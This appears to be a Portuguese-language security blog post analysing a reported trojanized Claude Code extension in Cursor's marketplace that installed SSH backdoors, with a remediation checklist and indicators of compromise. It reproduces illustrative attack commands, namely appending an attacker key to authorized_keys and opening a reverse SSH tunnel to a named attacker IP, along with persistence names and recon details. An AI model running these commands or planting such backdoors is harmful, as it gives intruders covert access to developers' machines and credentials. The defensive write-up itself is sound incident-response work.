5.000 Devs Hackeados: O Backdoor SSH no Claude Code do Cursor

Uma extensão oficial do Claude Code no marketplace do Cursor plantou backdoors SSH em milhares de máquinas de desenvolvedores. Em apenas 11 horas, o estrago estava feito. E o pior: bastava instalar a extensão. Nenhum clique extra. Nenhum prompt de confirmação. Nada.

Se você usa Cursor, VS Code ou qualquer fork que puxa extensões do Open VSX, essa história deveria tirar seu sono.

O que aconteceu, exatamente?

No dia 29 de outubro de 2026, pesquisadores da Phorion identificaram que a versão 2.1.313 da extensão Anthropic.claude-code, disponível no marketplace do Cursor, continha código malicioso. Não era um clone, não era uma extensão fake com nome parecido. Era a extensão que aparecia como oficial.

O ataque foi cirúrgico. Os invasores inseriram um loader JavaScript malicioso no início do arquivo extension.js, deixando o restante do código legítimo intacto. Resultado: a extensão funcionava normalmente, o desenvolvedor não percebia nada de errado, e enquanto isso um backdoor SSH silencioso se instalava na máquina.

A janela de exposição durou aproximadamente 11 horas, entre 2h27 e 13h35 (horário do Pacífico). Nesse intervalo, até 5.000 usuários do Cursor baixaram a versão comprometida.

A cadeia de infecção em 4 estágios

Vamos ao que interessa: como o malware operava tecnicamente. A cadeia de ataque tinha quatro estágios bem definidos, cada um mais preocupante que o anterior.

Estágio 1: Implantação de chave SSH

O primeiro passo era discreto e devastador. O malware adicionava uma chave pública Ed25519 controlada pelo atacante ao arquivo ~/.ssh/authorized_keys da vítima. O label? svc-telemetry, escolhido de propósito para parecer um serviço legítimo de telemetria.

# O que o malware fazia nos bastidores
echo "ssh-ed25519 AAAA...chave_do_atacante... svc-telemetry" >> ~/.ssh/authorized_keys

Com essa chave plantada, o atacante ganhava acesso SSH à máquina da vítima. Simples, elegante e aterrorizante.

Estágio 2: Túnel reverso SSH

Depois de plantar a chave, o malware estabelecia uma conexão SSH de saída para o IP 134.209.82.225, usando uma chave privada embutida no próprio código da extensão. Essa conexão criava um port forwarding reverso, permitindo que o atacante acessasse a máquina da vítima como se estivesse na rede local.

# Túnel reverso: o atacante acessa localhost:22 da vítima
ssh -R 0:localhost:22 -i /chave/embutida atacante@134.209.82.225

O túnel se reconectava a cada 60 segundos, mesmo depois que o editor era fechado. Persistência de verdade.

Estágio 3: Persistência por plataforma

Aqui o malware mostrava que os autores conheciam bem cada sistema operacional:

Repare nos nomes escolhidos: com.apple.sysmond, SysMon, .smt. Tudo pensado para se camuflar entre processos legítimos do sistema. Um dev olhando rápido no Activity Monitor não ia desconfiar de nada.

Estágio 4: Reconhecimento do host

O malware coletava informações sobre a máquina e enviava tudo via HTTP POST para a porta 8099 do servidor do atacante:

• Hostname e username
• Sistema operacional e arquitetura
• Diretórios home e de trabalho
• Email do Git configurado localmente
• IP público
• Nomes de até 40 variáveis de ambiente que combinavam com padrões de credenciais (AWS_SECRET, GCP_KEY, etc.)

Repara que ele não roubava os valores das variáveis, apenas os nomes. Mas só os nomes já entregam um mapa completo do ambiente: se a máquina tem AWS_SECRET_ACCESS_KEY, o atacante sabe que vale a pena investir mais tempo naquele alvo.

O bug engraçado (e perigoso) no macOS

Aqui tem um detalhe técnico que é quase cômico. O malware verificava se o Remote Login (SSH) estava habilitado no macOS usando o comando:

systemsetup -getremotelogin

O problema: esse comando exige privilégios de administrador. Quando executado como usuário normal, ele falha com um erro de permissão, mas retorna exit code 0 (sucesso). O malware interpretava isso como “SSH já está habilitado” e pulava o passo de ativação.

Na prática, isso significava que em Macs onde o Remote Login não estava ativo, o backdoor de entrada direta ficava inoperante. O túnel reverso ainda funcionava, porém. Então não é exatamente uma “salvação”, apenas uma falha do malware que reduzia parcialmente o impacto.

Irônico que um malware sofisticado o suficiente para criar persistência multiplataforma tenha tropeçado em um exit code enganoso do macOS.

Por que isso é muito pior do que parece

Eu sei o que você está pensando: “foram só 5.000 usuários, só 11 horas”. Mas pense no perfil desses 5.000 usuários.

Quem usa Cursor com Claude Code é, por definição, um desenvolvedor. E não qualquer dev: é alguém que trabalha com IA, provavelmente tem acesso a APIs caras, repositórios privados, infraestrutura cloud, chaves de deploy, tokens de CI/CD. Uma máquina de dev comprometida é uma porta de entrada para toda a organização.

E tem outro agravante: extensões de IDE rodam com as mesmas permissões do usuário. Não existe sandbox. Não existe prompt de confirmação tipo “essa extensão quer acessar seu SSH”. A extensão carrega, o código roda, e acabou. O payload disparava automaticamente quando o Node.js carregava o arquivo, antes mesmo da ativação normal da extensão.

Como um pesquisador de segurança destacou: “cada vez mais, são agentes e atualizações automáticas instalando essas coisas, não humanos”. Auto-update ligado no Cursor? Parabéns, você recebeu um backdoor SSH sem nem abrir o editor.

A resposta do Cursor

O Cursor agiu rápido, é justo reconhecer. Ao detectar o comprometimento:

1. Removeu imediatamente a versão maliciosa do marketplace
2. Derrubou o marketplace inteiro como precaução
3. Auditou todos os acessos e confirmou que nenhuma outra extensão foi comprometida
4. Rotacionou todas as chaves de acesso
5. Reconstruiu o marketplace do zero
6. Colocou tudo de volta no ar

A empresa também confirmou que o ataque afetou apenas o marketplace do Cursor, sem evidências de comprometimento no Open VSX ou no Visual Studio Marketplace oficial da Microsoft.

Os cerca de 5.000 usuários afetados seriam contactados diretamente.

Desinstalar não basta (e esse é o problema real)

Esse é o ponto que muita gente vai errar. Desinstalar a extensão Claude Code do Cursor não remove o backdoor. O payload deposita scripts standalone que persistem independentemente do editor. Se você apenas desinstalou a extensão e seguiu com a vida, a chave SSH do atacante continua no seu authorized_keys, o LaunchAgent/cron/scheduled task continua rodando, e o túnel continua reconectando a cada 60 segundos.

Checklist de remediação completa

Se você instalou a versão 2.1.313 da extensão Claude Code no Cursor (em qualquer momento do dia 29 de outubro), siga esses passos:

1. Verifique o authorized_keys

grep "svc-telemetry" ~/.ssh/authorized_keys

Se encontrar uma entrada com esse label, remova a linha inteira.

2. Mate processos suspeitos

# Procure por túneis SSH para o IP do atacante
ps aux | grep "134.209.82.225"
# Mate qualquer processo encontrado
kill -9 <PID>

3. Remova a persistência (macOS)

# Remova o LaunchAgent falso
rm ~/Library/LaunchAgents/com.apple.sysmond.plist
# Remova scripts ocultos
rm -rf ~/.config/.smt
# Descarregue o LaunchAgent se estiver ativo
launchctl unload ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null

4. Remova a persistência (Linux)

# Edite o crontab e remova entradas @reboot suspeitas
crontab -e
# Remova scripts ocultos
rm -rf ~/.config/.smt

5. Remova a persistência (Windows)

# Remova a scheduled task
schtasks /Delete /TN "SysMon" /F
# Verifique a pasta Startup
explorer shell:startup

6. Rotacione TUDO

Esse passo é o mais importante e o mais ignorado. Se o atacante teve acesso SSH à sua máquina, ele potencialmente acessou:

• Chaves SSH (gere novas e revogue as antigas em GitHub, GitLab, etc.)
• Tokens de API (AWS, GCP, Azure, qualquer coisa no seu .env)
• Cookies e sessões do navegador
• Credenciais de banco de dados
• Tokens de CI/CD

Rotacione todos. Sem exceção.

7. Considere rebuild da máquina

Se a máquina tinha acesso a infraestrutura de produção, considere seriamente fazer um rebuild completo. É doloroso? Sim. Mas é menos doloroso do que descobrir três meses depois que seu ambiente de produção foi comprometido.

O problema maior: supply chain de extensões é terra sem lei

Essa não é a primeira vez que extensões maliciosas aparecem em marketplaces de IDE. Em 2026, a situação escalou dramaticamente:

• Fevereiro 2026: CVEs em extensões do VS Code com 128 milhões de instalações combinadas expostas
• Abril 2026: Campanha GlassWorm com 73 clones maliciosos no OpenVSX usando um dropper em Zig
• Maio 2026: Ataque TeamPCP explorou extensão poisoned do VS Code para exfiltrar 3.800 repositórios internos do GitHub
• Outubro 2026: A extensão Claude Code trojanizada no Cursor (este incidente)

Só em maio de 2026 foram 14 campanhas com 346 pacotes maliciosos indexados. O vetor VS Code cresceu de zero para 7 campanhas em 18 meses.

O padrão é claro: os atacantes perceberam que desenvolvedores confiam cegamente no marketplace da sua IDE. Ninguém audita o código de uma extensão antes de instalar. Ninguém verifica hashes. Ninguém lê changelogs. E cada vez mais, auto-update faz o trabalho sem perguntar.

Forks de VS Code como Cursor, Windsurf, Google Antigravity e Trae pioram a situação. Pesquisadores descobriram que esses forks recomendam extensões que nem existem no registro Open VSX. Um atacante pode simplesmente publicar uma extensão maliciosa com o nome recomendado e esperar que os usuários instalem.

Como se proteger (de verdade)

Não existe solução mágica, mas existem práticas que reduzem drasticamente o risco:

Para desenvolvedores individuais

• Desabilite auto-update de extensões. Revise changelogs antes de atualizar manualmente.
• Minimize extensões instaladas. Cada extensão é superfície de ataque. Se você não usa todo dia, desinstale.
• Use máquinas virtuais ou containers para desenvolvimento. Seu ambiente de dev não deveria ter acesso direto a credenciais de produção.
• Monitore seu authorized_keys. Configure um alerta (inotifywait no Linux, fswatch no macOS) para qualquer modificação nesse arquivo.
• Segmente credenciais. Use ferramentas como aws-vault ou 1Password CLI em vez de variáveis de ambiente com secrets em plain text.

Para times e organizações

• Curadoria de extensões aprovadas. Mantenha uma allowlist de extensões auditadas e bloqueie instalação de qualquer outra.
• EDR com monitoramento de IDE. Seu endpoint detection deveria flaggear quando um processo filho de Cursor/VS Code spawna ssh com flags de port forwarding.
• Network segmentation. Máquinas de dev não deveriam ter acesso SSH de saída irrestrito. Use firewall para limitar conexões SSH apenas a hosts conhecidos (GitHub, GitLab, seus bastion hosts).
• Auditoria periódica de extensões. Use ferramentas como o ExtensionTotal para escanear extensões instaladas.

Para a indústria

O modelo atual de marketplace de extensões está fundamentalmente quebrado. Extensões rodam com permissões totais do usuário, sem sandbox, sem review de segurança obrigatório, sem assinatura de código verificável.

A Microsoft, o Eclipse Foundation (Open VSX) e o Cursor precisam implementar:

• Sandbox obrigatório para extensões (similar ao modelo do Chrome Extensions com Manifest V3)
• Code signing verificável e obrigatório
• Review automatizado de segurança antes de publicação
• Rate limiting em atualizações (nenhuma extensão deveria poder fazer deploy de uma nova versão e ter distribuição instantânea para todos os usuários)
• Transparência de permissões (tipo Android: “essa extensão quer acessar: filesystem, network, SSH”)

Enquanto isso não acontece, a responsabilidade recai sobre cada dev. E isso, honestamente, não escala.

Indicadores de comprometimento (IoCs)

Se você faz parte de um time de segurança ou quer verificar sua rede, aqui estão os indicadores técnicos para detecção:

Rede:

• Conexão SSH de saída para 134.209.82.225:22
• HTTP POST beacon para 134.209.82.225:8099 (endpoint /beacon)

Arquivos:

• Modificações em ~/.ssh/authorized_keys (entrada com label svc-telemetry)
• Criação de ~/Library/LaunchAgents/com.apple.sysmond.plist (macOS)
• Scripts ocultos em ~/.config/.smt

Processos:

• Processos filhos de IDE (Cursor, VS Code) executando ssh ou autossh com flags de remote port forwarding (-R)
• Conexões persistentes reconectando a cada ~60 segundos

Se o seu SIEM ou EDR detectar qualquer um desses indicadores, isole a máquina imediatamente e inicie o processo de resposta a incidentes.

A ironia final

Uma extensão projetada para ajudar desenvolvedores a programar com IA acabou sendo o vetor perfeito para comprometer as máquinas desses mesmos desenvolvedores. O atacante sabia exatamente o perfil do alvo: gente com acesso a APIs caras, infraestrutura cloud e repositórios privados.

A próxima vez que você clicar em “Install” no marketplace da sua IDE, lembre que aquele botão tem o mesmo peso de rodar curl | bash de um repositório desconhecido. A diferença é que pelo menos com curl | bash você sabe que está fazendo algo arriscado.

Suas extensões já foram auditadas? Talvez esse seja um bom momento para checar.

Fonte de inspiração: Phorion Security Advisory